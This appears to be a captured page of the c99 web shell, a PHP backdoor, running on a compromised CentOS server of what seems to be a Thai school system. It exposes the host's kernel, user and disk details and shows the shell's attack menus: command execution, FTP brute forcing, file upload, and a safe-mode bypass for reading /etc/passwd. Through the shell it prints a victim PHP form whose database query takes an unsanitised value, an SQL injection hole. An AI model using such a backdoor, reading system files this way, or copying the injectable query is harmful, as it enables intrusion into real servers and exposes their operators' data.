!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addProjectAtivity.php (10.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

 session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if (! session_is_registered("valid_user") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
           require_once( 
"../includes/FunctionDB.php" );
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
         
$sql " SELECT *  FROM   tech_courseteacher    WHERE  costtId='$costtId'    ";
         
$result $dbObj->execQuery($sql);
         
$rs$dbObj->fetchArray($result);
        

    } 
#else
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
//-->

function enableDropdown(){
        var form = document.myForm;
        
        if(form["piId[]"][0].checked){
            form.ProjectTeach1.disabled = false;
        }
        else{
            form.ProjectTeach1.disabled = true;
        }
        
        if(form["piId[]"][0].checked){
            form.Teacher_code1.disabled = false;
        }
        else{
            form.Teacher_code1.disabled = true;
        
        }
        
        if(form["piId[]"][1].checked){
            form.ProjectTeach2.disabled = false;
        }
        else{
            form.ProjectTeach2.disabled = true;
        }
        if(form["piId[]"][1].checked){
            form.Teacher_code2.disabled = false;
        }
        else{
            form.Teacher_code2.disabled = true;
        }
            
        if(form["piId[]"][2].checked){
            form.ProjectTeach3.disabled = false;
        }
        else{
            form.ProjectTeach3.disabled = true;
        }
        if(form["piId[]"][2].checked){
            form.Teacher_code3.disabled = false;
        }
        else{
            form.Teacher_code3.disabled = true;
        }
                
        if(form["piId[]"][3].checked){
            form.ProjectTeach4.disabled = false;
        }
        else{
            form.ProjectTeach4.disabled = true;
        }
        if(form["piId[]"][3].checked){
            form.Teacher_code4.disabled = false;
        }
        else{
            form.Teacher_code4.disabled = true;
        }
    
}
</script>

<table width="509" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="529" height="194">
          <fieldset>
         
            <form id="myForm" name="myForm" method="post"  action="InsertProjectAtivity.php">
              <img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" />
              <table width="83%" border="0" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray; font-size: 14px;"size="12">
                  <tr bgcolor="#F3F3F3">
                    <td width="100%" colspan="2" align="center" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td colspan="2" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td colspan="2" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><table width="454" border="1" align="left" cellpadding="0" cellspacing="0">
                      <tr>
                        <td width="37" align="center">เลือก</td>
                        <td align="center">อาจารย์</td>
                        <td align="center">ผู้รับผิดชอบ</td>
                      </tr>
                      <tr>
                        <td align="center"><label>
                          <input name="piId[]" type="checkbox" id="piId1" value="1" onclick="enableDropdown()"  />
                        </label></td>
                        <td width="273" align="center"><select name="Teacher_code1" id="Teacher_code1"  disabled="disabled" >
                          <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'    Order by Teacher_name ";
           
$result3 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                        </select></td>
                        <td width="136"><select name="ProjectTeach1" id="ProjectTeach1" disabled="disabled" >
                          <option  value="ผู้รับผิดชอบโครงการ" <?php if($rs->ProjectTeach=="ผู้รับผิดชอบโครงการ"){ echo "selected" ; } ?> >ผู้รับผิดชอบโครงการ</option>
                          <option  value="ผู้กำกับติดตาม" <?php if($rs->ProjectTeach=="ผู้กำกับติดตาม"){ echo "selected" ; } ?> >ผู้กำกับติดตาม</option>
                          <option  value="ผู้ร่วมโครงการ" <?php if($rs->ProjectTeach=="ผู้ร่วมโครงการ"){ echo "selected" ; } ?> >ผู้ร่วมโครงการ</option>
                         
                        </select></td>
                      </tr>
                      <tr>
                        <td align="center"><input name="piId[]" type="checkbox" id="piId2" value="2" onclick="enableDropdown()"   /></td>
                        <td align="center"><select name="Teacher_code2" id="Teacher_code2"  disabled="disabled" >
                          <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'    Order by Teacher_name ";
           
$result3 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                        </select></td>
                        <td><select name="ProjectTeach2" id="ProjectTeach2" disabled="disabled" >
                          <option  value="ผู้รับผิดชอบโครงการ" <?php if($rs->ProjectTeach=="ผู้รับผิดชอบโครงการ"){ echo "selected" ; } ?> >ผู้รับผิดชอบโครงการ</option>
                          <option  value="ผู้กำกับติดตาม" <?php if($rs->ProjectTeach=="ผู้กำกับติดตาม"){ echo "selected" ; } ?> >ผู้กำกับติดตาม</option>
                          <option  value="ผู้ร่วมโครงการ" <?php if($rs->ProjectTeach=="ผู้ร่วมโครงการ"){ echo "selected" ; } ?> >ผู้ร่วมโครงการ</option>
                        </select></td>
                      </tr>
                      <tr>
                        <td align="center"><input name="piId[]" type="checkbox" id="piId3" value="3" onclick="enableDropdown()"  /></td>
                        <td align="center"><select name="Teacher_code3" id="Teacher_code3"  disabled="disabled" >
                          <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'    Order by Teacher_name ";
           
$result3 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                        </select></td>
                        <td><select name="ProjectTeach3" id="ProjectTeach3" disabled="disabled" >
                          <option  value="ผู้รับผิดชอบโครงการ" <?php if($rs->ProjectTeach=="ผู้รับผิดชอบโครงการ"){ echo "selected" ; } ?> >ผู้รับผิดชอบโครงการ</option>
                          <option  value="ผู้กำกับติดตาม" <?php if($rs->ProjectTeach=="ผู้กำกับติดตาม"){ echo "selected" ; } ?> >ผู้กำกับติดตาม</option>
                          <option  value="ผู้ร่วมโครงการ" <?php if($rs->ProjectTeach=="ผู้ร่วมโครงการ"){ echo "selected" ; } ?> >ผู้ร่วมโครงการ</option>
                        </select></td>
                      </tr>
                      <tr>
                        <td align="center"><input name="piId[]" type="checkbox" id="piId4" value="4" onclick="enableDropdown()"  /></td>
                        <td align="center"><select name="Teacher_code4" id="Teacher_code4"  disabled="disabled" >
                          <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'    Order by Teacher_name ";
           
$result3 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                        </select></td>
                        <td><select name="ProjectTeach4" id="ProjectTeach4" disabled="disabled" >
                          <option  value="ผู้รับผิดชอบโครงการ" <?php if($rs->ProjectTeach=="ผู้รับผิดชอบโครงการ"){ echo "selected" ; } ?> >ผู้รับผิดชอบโครงการ</option>
                          <option  value="ผู้กำกับติดตาม" <?php if($rs->ProjectTeach=="ผู้กำกับติดตาม"){ echo "selected" ; } ?> >ผู้กำกับติดตาม</option>
                          <option  value="ผู้ร่วมโครงการ" <?php if($rs->ProjectTeach=="ผู้ร่วมโครงการ"){ echo "selected" ; } ?> >ผู้ร่วมโครงการ</option>
                        </select></td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td colspan="2" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td colspan="2" bgcolor="#FFFFFF"><div align="center">
                      <input name="proId" type="hidden" id="proId" value="<?=$proId ?>" />
                      <input name="ProjectId" type="hidden" id="ProjectId" value="<?=$ProjectId ?>" />
                      <input name="Budget_Year" type="hidden" id="Budget_Year" value="<?=$Budget_Year ?>" />
                      <input name="Submit" type="submit" class="WIDTH60" id="Submit" value="บันทึก" />
                      <input name="Reset" type="reset" class="WIDTH60" id="Reset" value="Reset" />
&nbsp;
<input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
                    </div></td>
                  </tr>
                </table>
                        </form>
          </fieldset>
        
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0076 ]--